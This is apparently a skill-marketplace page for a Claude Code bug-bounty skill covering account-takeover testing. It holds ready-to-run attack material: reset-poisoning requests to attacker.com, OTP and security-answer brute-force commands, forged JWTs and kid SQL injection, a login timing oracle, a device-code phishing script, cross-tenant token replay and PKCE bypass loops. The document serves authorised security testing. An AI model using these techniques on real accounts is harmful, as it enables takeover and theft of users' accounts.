mcpField
H
hunt-ato

hunt-ato

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hunt-ato

用于 Web 安全测试的技能,归纳账户接管路径,涵盖重置令牌缺陷、JWT 操纵、OAuth 设备码和 PKCE 问题。它要求验证是否能实际访问受控的第二个账户,而非把疑似缺陷当作证据。

主要功能

  1. 01十一类账户接管路径
  2. 02重置令牌与邮箱变更检查
  3. 03JWT 与会话验证
  4. 04OAuth 设备流与 PKCE 测试
  5. 05基于证据的接管严重性判断

适用场景

  1. 01评估密码重置与账户恢复流程
  2. 02测试 JWT 缺陷能否访问他人账户
  3. 03检查设备授权是否执行 MFA
  4. 04验证 OAuth 重定向与 PKCE 处理

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ato

安装后在 Claude Code 中输入/hunt-ato确认已加载。

详细介绍

13. ATO — 账户接管分类

9 条不同的路径。ATO 是一种攻击结果类别,而非单一漏洞——只有当你证明能从攻击者 A 的会话 / IP / 设备接管一个你无法控制的第二个账户(测试账户 B)时,下列各路径才会成为严重问题。若某条路径只会让你无法登录自己的账户,或只有在你已持有受害者的密码和会话时才有效,就不能单独算作 ATO。

路径 1:密码重置投毒(Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

重置邮件程序根据请求的 Host 标头构建链接 → 链接指向 attacker.com/reset?token=XXXX。确认方式 = 带外(OOB),而非基于响应: 将标头指向 Burp Collaborator / 唯一的 DNS 名称,然后查看实际邮件(测试时使用你自己控制的受害者 B 收件箱)。如果令牌只出现在发往你的 Collaborator 主机的邮件正文中,就有了证明。 排除误报的关键: 许多应用会在邮件中放入 attacker.com,但实际链接的域名由服务器固定指定——请查看邮件,不要根据反射的标头推断。

路径 2:Referer 中的重置令牌 / 开放重定向泄露
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

还要测试重置页面是否会 302 重定向到携带令牌 URL 的开放重定向。证明: 在 Network 标签页中捕获外发请求(如果你控制了跨源主机,也可使用 Collaborator),确认 Referer 中包含完整令牌。可通过 Referrer-Policy: no-referrer 和将令牌放在 POST 正文中缓解——请注明它们缺失。

路径 3:可预测 / 弱重置令牌
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

规范流程: 自行请求受害者 B 的令牌(你拥有 B),通过抽样确认熵,THEN 再证明一次新的暴力破解成功。仅针对 /forgot-password 的速率限制问题通常会被拒绝——影响在于猜测令牌,而非大量发送请求。

路径 4:令牌永不过期 / 可重用 / 跨账户
Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
路径 5:无需重新认证即可更改电子邮件
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"}     # no current_password, no OTP, no email-confirm

如果更改生效时既无需验证当前密码,也无需向旧地址发送确认链接,那么触发密码重置 → 重置邮件到达攻击者邮箱 → ATO。最严重的变体甚至跳过对新地址的确认。常见模式:账户关联 / 更改电子邮件 → 因缺少重新认证而导致 ATO。

路径 6:JWT 操纵
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

此类问题的已验证依据: CVE-2015-9235(node jsonwebtoken <4.2.2 — 算法混淆 / none 绕过),CVE-2016-10555(jwt-simple RS256→HS256)。验证: 伪造的令牌必须能以受害者 B 的身份访问特权端点(例如 GET /api/admin 或 GET /api/users/B)——解码 / 伪造令牌不代表造成了影响;以 B 的身份执行授权操作才算。如果服务器忽略伪造的 sub,而是依据会话 Cookie 进行身份验证,那么 JWT 就不是信任边界——不构成发现。

路径 7:无需二次验证即可更改密码 + 登录验证预言机
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

无需二次验证的密码更改端点是持久化放大器:Cookie 被盗(暂时性)+ 此问题 = 攻击者通过被盗 Cookie 设置新密码 → 从任何设备 / IP 控制 B,受害者则被锁定在账户之外。排除误报: 确认确实没有当前密码 / MFA 验证——许多 API 会将该字段设为可选,但仍会在服务器端返回 403;重放时省略该字段,检查实际状态是否发生变化(尝试从干净的浏览器使用新密码登录)。

路径 8:滥用社交恢复 / 安全问题
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

配合 offensive-osint 使用:许多“秘密”答案(出生城市、宠物、学校)会公开在社交资料中 → 无需暴力破解。验证时,完整走完恢复流程并登录账户 B。

路径 9:OAuth redirect_uri 中的 SSO 子域名接管
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

确认方式 = OOB: auth code(或隐式流程的 access_token)必须实际到达你所声明的主机——在服务器端记录它,并将其兑换为 B 的令牌。仅仅反射站外值、但通过服务器固定的兑换流程传递 code 的 redirect_uri 不可利用。将任何错误响应正文解析为 JSON,而非子字符串——AADSTS50076 / claims-challenge 响应的 claims 字段中包含字面字符串 access_token,但它不是可用的令牌。

ATO 严重性判定
  • 严重——受害者无需交互或交互极少:Host 头重置投毒、伪造 JWT 以访问受害者端点、宽松的 redirect_uri 导致授权码被盗、通过 IDOR 更改邮箱 → 重置。
  • 高——需要点击一封邮件,或需要已有会话 / Cookie(Referer 泄露、窃取 Cookie 后可在无需额外验证的情况下更改密码)。
  • 中——需要钓鱼加上用户主动交互(OAuth 链接 CSRF,需要受害者点击并处于登录状态)。
  • 低——攻击者必须是 MitM,或影响仅限攻击者自己的账户。

路径 10:OAuth 设备码流程滥用(RFC 8628)

设备授权许可(OAuth 设备流程)专为输入受限的设备设计,但攻击者会滥用它进行钓鱼、绕过 MFA 和跨租户令牌窃取。

流程如何运作(滥用方式):
  1. 客户端请求设备码:POST /oauth/devicecode,包含 client_id + scope
  2. 服务端返回:device_code、user_code、verification_uri、interval
  3. 攻击者诱骗受害者访问 verification_uri 并输入 user_code
  4. 受害者进行身份验证(设备流程通常无需 MFA)并授权
  5. 攻击者使用 device_code 轮询 POST /oauth/token → 收到访问 / 刷新令牌
攻击向量:

A. 使用设备码进行钓鱼(通过窃取授权码实现 ATO)

# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
  -d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"

# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval":5}

# Step 2: Craft phishing email: "Please verify your account at https://target.com/device
#          and enter code: ABCD-1234 to unlock your account"
# Step 3: Victim enters code on legitimate OAuth page → authenticates
# Step 4: Attacker polls for token:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/token" \
  -d "client_id=VICTIM_CLIENT_ID&grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=THE_DEVICE_CODE"

# → Attacker receives victim's access_token + refresh_token → full ATO

B. 通过设备流程绕过 MFA 许多 OAuth 提供商不会在设备授权端点强制执行 MFA,因为“设备无法进行 MFA”。如果授权码 / 隐式流程要求 MFA,但设备流程不要求:

# Compare: standard auth requires MFA
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=xxx
# → MFA challenge

# Device flow skips MFA entirely
POST /oauth/devicecode
# → No MFA, direct token grant
# Proof: if your account has MFA enabled but device flow produces tokens without MFA → finding

C. 跨租户设备码(Azure AD / Entra ID) Azure AD 设备码不受租户限制——user_code 可在任何租户的验证页面上使用:

# Attacker requests device_code from Azure AD common endpoint (any tenant):
curl --max-time 30 --connect-timeout 10 -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=YOUR_CLIENT_ID&scope=user.read"

# Victim at ANOTHER organization enters the user_code
# If their tenant trusts the app → victim's token issued → cross-tenant ATO

D. 检测——查找设备流程端点:

# Check OAuth authorization server metadata
curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('device_authorization_endpoint','NOT SUPPORTED'))"

# Probe common device code endpoints
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/devicecode" -d "client_id=test&scope=openid" -w "\nHTTP %{http_code}"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -d "client_id=test&scope=user.read" -w "\nHTTP %{http_code}"

路径 11:PKCE 绕过链

PKCE(用于代码交换的证明密钥,RFC 7636)旨在保护公共客户端中的授权码流程。许多实现未能正确强制执行它:

绕过 1:未强制执行 PKCE
# Send auth request WITHOUT code_challenge
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb

# Exchange code WITHOUT code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
redirect_uri=https://app.com/cb
# If accepted → PKCE not enforced → authorization code interception vulnerability
绕过 2:code_challenge_method=plain(应为 S256)
# Auth request with plain challenge (SHA256 should be required)
GET /oauth/authorize?response_type=code&client_id=xxx&code_challenge_method=plain&code_challenge=ATTACKER_STATIC_VALUE

# Exchange with corresponding code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
code_verifier=ATTACKER_STATIC_VALUE
redirect_uri=https://app.com/cb
# If accepted → plain method exposes the PKCE challenge to MitM
绕过 3:接受 code_challenge,但不验证 code_verifier
# Auth request WITH code_challenge=S256:<hash>
# Token exchange WITHOUT code_verifier or with wrong code_verifier:
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
# no code_verifier field
# If token issued → PKCE is decorative, not enforced
绕过 4:PKCE 交换后重用授权码

一些服务端会使 code 过期,但仍接受同一个 PKCE verifier 两次:

# Exchange code once → success
# Exchange same code again with same code_verifier → if second exchange also works → code replay
完整的 PKCE 绕过检测脚本:
# Test PKCE enforcement with various combinations:
for cc in "" "code_challenge_method=S256&code_challenge=$(echo -n 'test' | openssl dgst -sha256 -binary | base64 | tr '+/' '-_' | tr -d '=')"; do
  for cv in "" "test" "wrong_value"; do
    echo "=== cc=[$cc] cv=[$cv] ==="
    # Step 1: get auth code
    code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{redirect_url}" \
      "https://target.com/oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&state=x$cc" \
      | grep -Eo 'code=\K[^&]+')
    [[ -z "$code" ]] && echo "NO CODE" && continue
    # Step 2: exchange
    resp=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/token" \
      -d "grant_type=authorization_code&code=$code&redirect_uri=https://app.com/cb$([[ -n "$cv" ]] && echo "&code_verifier=$cv")")
    echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print('TOKEN' if 'access_token' in d else d.get('error','unknown'))"
  done
done

路径 12:跨租户 ATO(Azure AD / Entra ID)

跨租户攻击会利用 Azure AD 租户与多租户 OAuth 应用之间的信任关系。

攻击 1:滥用 prompt=none 静默身份验证
# If an app allows multi-tenant authentication, prompt=none skips the login UI:
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&prompt=none&[email protected]&domain_hint=organizations

# If the user has an existing session with the app → code issued silently
# If prompt=none is accepted by the authorization server but the user ISN'T logged in →
#   the server returns error=login_required instead of prompting, which still confirms the
#   user's existence (enumeration via OAuth)
攻击 2:篡改租户 ID / domain_hint
# Azure AD multi-tenant apps often validate tenant from the token, not the request
# Try swapping tenant IDs:
GET /victim-tenant.onmicrosoft.com/oauth/authorize?...
# vs:
GET /attacker-tenant.onmicrosoft.com/oauth/authorize?...
# If the app accepts tokens from BOTH tenants → cross-tenant token replay possible

# Test with curl:
curl --max-time 30 --connect-timeout 10 -v "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=xxx&response_type=code&redirect_uri=https://app.com/cb&domain_hunt=organizations&state=test"
攻击 3:跨租户令牌重放
# 1. Register same app client_id in YOUR tenant
# 2. Authenticate as user in YOUR tenant → get access_token
# 3. Use that token against the VICTIM's tenant API
curl --max-time 30 --connect-timeout 10 -H "Authorization: Bearer *** https://victim-tenant.com/api/user/me
# If accepted → the app doesn't validate the "tid" (tenant ID) claim → cross-tenant ATO
检测——查找跨租户漏洞:
# Check if app is multi-tenant by probing with unauthorized tenant credentials
# Get token from attacker tenant, then test against victim API:
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST 'https://login.microsoftonline.com/attacker-tenant.onmicrosoft.com/oauth2/v2.0/token' -d 'client_id=xxx&scope=https://target.com/.default&grant_type=client_credentials&client_secret=xxx' | python3 -c 'import sys,json; print(json.load(sys.stdin).get("access_token",""))')
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/user/me" -w "\nHTTP %{http_code}"

验证

运行此自测,以确认已准备好进行 ATO 排查:

  1. 密码重置投毒测试——验证 Host 头注入探测语法:

    echo "Host: attacker.com" | grep -q "Host:" && echo "PASS: Host header syntax" || echo "FAIL"
    echo "X-Forwarded-Host:" | grep -q "X-Forwarded" && echo "PASS: header alias syntax" || echo "FAIL"
    
  2. JWT 操纵——确认 Python3 JWT 工具:

    python3 -c "
    import base64,json
    h=base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'=').decode()
    print('PASS: JWT header generation works' if len(h)>10 else 'FAIL')
    " 2>/dev/null || echo "FAIL: Python3 unavailable"
    
  3. OAuth redirect_uri 测试——确认重定向检测:

    echo "redirect_uri=https://evil.com/callback" | grep -q "redirect_uri" && echo "PASS: redirect_uri parameter recognized" || echo "FAIL"
    
  4. 双账户测试要求——确认技能文档说明了第二账户规则:

    grep -q "SECOND account\|test account B\|victim B" SKILL.md && echo "PASS: second-account requirement documented" || echo "FAIL"
    

这 4 项测试可验证 ATO 排查方法是否记录妥当。


陷阱

  • Self-ATO 不等于 ATO — 修改自己的密码、重置自己的账户,或把自己锁在账户外,都不能证明任何问题。你必须演示攻击者 A 从自己的会话/IP 接管第二个测试账户(受害者 B)。
  • 未通过邮件确认的 Host 头注入 — 测试响应中出现反射的头部值,并不能证明重置链接遭到篡改。读取实际邮件(使用 Collaborator 域名和受控的受害者 B 收件箱)。
  • 没有实际利用的可预测令牌 — 发现某种模式(连续数字、基于时间戳)只是一个原语,并非 ATO。演示实际的令牌预测和账户接管。
  • 令牌永不过期本身不属于严重问题 — 永不过期的令牌只是一个原语。将其与令牌泄漏途径(Referer、开放重定向、日志)结合,才能达到严重级别。
  • OAuth redirect_uri 匹配宽松,但没有子域名接管 — 只有当你能在自己控制的子域名上托管内容时,redirect_uri=*.target.com 才可利用。若无法接管子域名,严重程度至多为低。
  • 测试了 PKCE 的 S256,但未检查 plain 回退 — 如果服务端接受 plain code_challenge_method,而客户端使用 S256,那么 plain 路径才是漏洞。两种方式都要测试。
  • 设备码流程的轮询间隔 — 如果间隔为 5 秒,暴力破解并不现实。只有在间隔非常短(<1s)或代码空间较小时才可利用。
  • 未验证令牌的跨租户重放 — 如果 API 验证了 tid(租户 ID)声明,跨租户重放就会失败。报告前请确认令牌确实被接受。
  • 未演示完整链路的 Cookie 窃取 — “如果攻击者窃取了 Cookie”不构成发现项。请演示窃取途径(XSS、令牌泄漏、中间人攻击),或通过真实的 Cookie 泄漏原语串联攻击链。

相关技能与攻击链

  • hunt-idor — 最可靠的 ATO 基础手法,无需控制邮箱,也无需竞争条件。攻击链基础手法:使用攻击者 A 的会话和受害者 B 的 UID,发送 PATCH /api/users/{victimB_uid},并附带 {"email":"[email protected]"} → 触发密码重置 → 重置邮件发送到攻击者邮箱 → 完全接管账户(ATO),受害者无需进行任何交互(Path 5 + IDOR = 严重)。
  • hunt-mfa-bypass — 只有同时绕过 MFA,Path 7 才属于严重问题。攻击链基础手法:密码更改端点在没有当前密码验证且无需 MFA 二次验证的情况下接受新密码 → 窃取 Cookie(XSS / 令牌泄露)+ 登录时序预言机 → 使用被盗 Cookie 设置新密码 → 无需 MFA,即可从任意 IP / 设备接管账户(ATO)。
  • hunt-oauth — Path 9 属于此处。攻击链基础手法:redirect_uri 验证接受子域名匹配(*.target.com)+ hunt-subdomain 发现 staging.target.com 上存在悬空 CNAME → 在 Heroku/S3 上认领该域名 → 托管 OAuth 回调 → 受害者点击精心构造的授权 URL → 授权码落到攻击者子域名 → 换取令牌 → 接管账户(ATO)。始终使用 JSON 解析 OAuth 错误响应正文;绝不要用子字符串匹配 access_token。
  • hunt-api-misconfig — Path 6(JWT)的细节也在此处:alg:none、RS256→HS256 密钥混淆(使用 JWKS 公钥作为 HMAC 密钥进行签名)、kid 路径遍历 / SQLi,以及弱密钥破解(hashcat -m 16500)。将其与此技能一同加载,以了解 JWK→PEM 转换机制。
  • hunt-host-header — Path 1 的标准基础手法。攻击链基础手法:发送 POST /forgot-password,并设置 Host/X-Forwarded-Host: attacker.com → 邮件程序根据请求中的 Host 构建链接 → 链接指向 attacker.com/reset?token=XXXX → 受害者点击 → 令牌泄露 → 接管账户(ATO)。通过 Collaborator 托管的域名读取实际邮件进行确认,不要依赖反射的请求头。
  • offensive-osint — Path 8 的效果倍增器:多数安全问题的答案(出生城市、宠物、第一所学校、母亲的娘家姓)都能通过社交资料进行 OSINT → 无需任何暴力破解即可恢复账户 B。
  • security-arsenal — 获取密码重置绕过表(X-Forwarded-Host、X-Host、X-HTTP-Host-Override、双 Host 走私)、令牌熵攻击载荷(连续数字、基于时间且可预测)、JWT 攻击表,以及关于“/forgot-password 速率限制”的报告中始终会被拒绝的情况列表。
  • triage-validation — 如果 ATO 需要受害者点击链接、输入凭据并通过 CAPTCHA,那么在宣称其为严重问题之前,先运行严重性预检。可复现性步骤(在 10 分钟内通过全新的浏览器逐步演示:从攻击者 A 的会话接管测试账户 B)可以区分可获严重级别奖励的问题和会被按自 XSS 级别拒绝的问题。

评论

支持 Markdown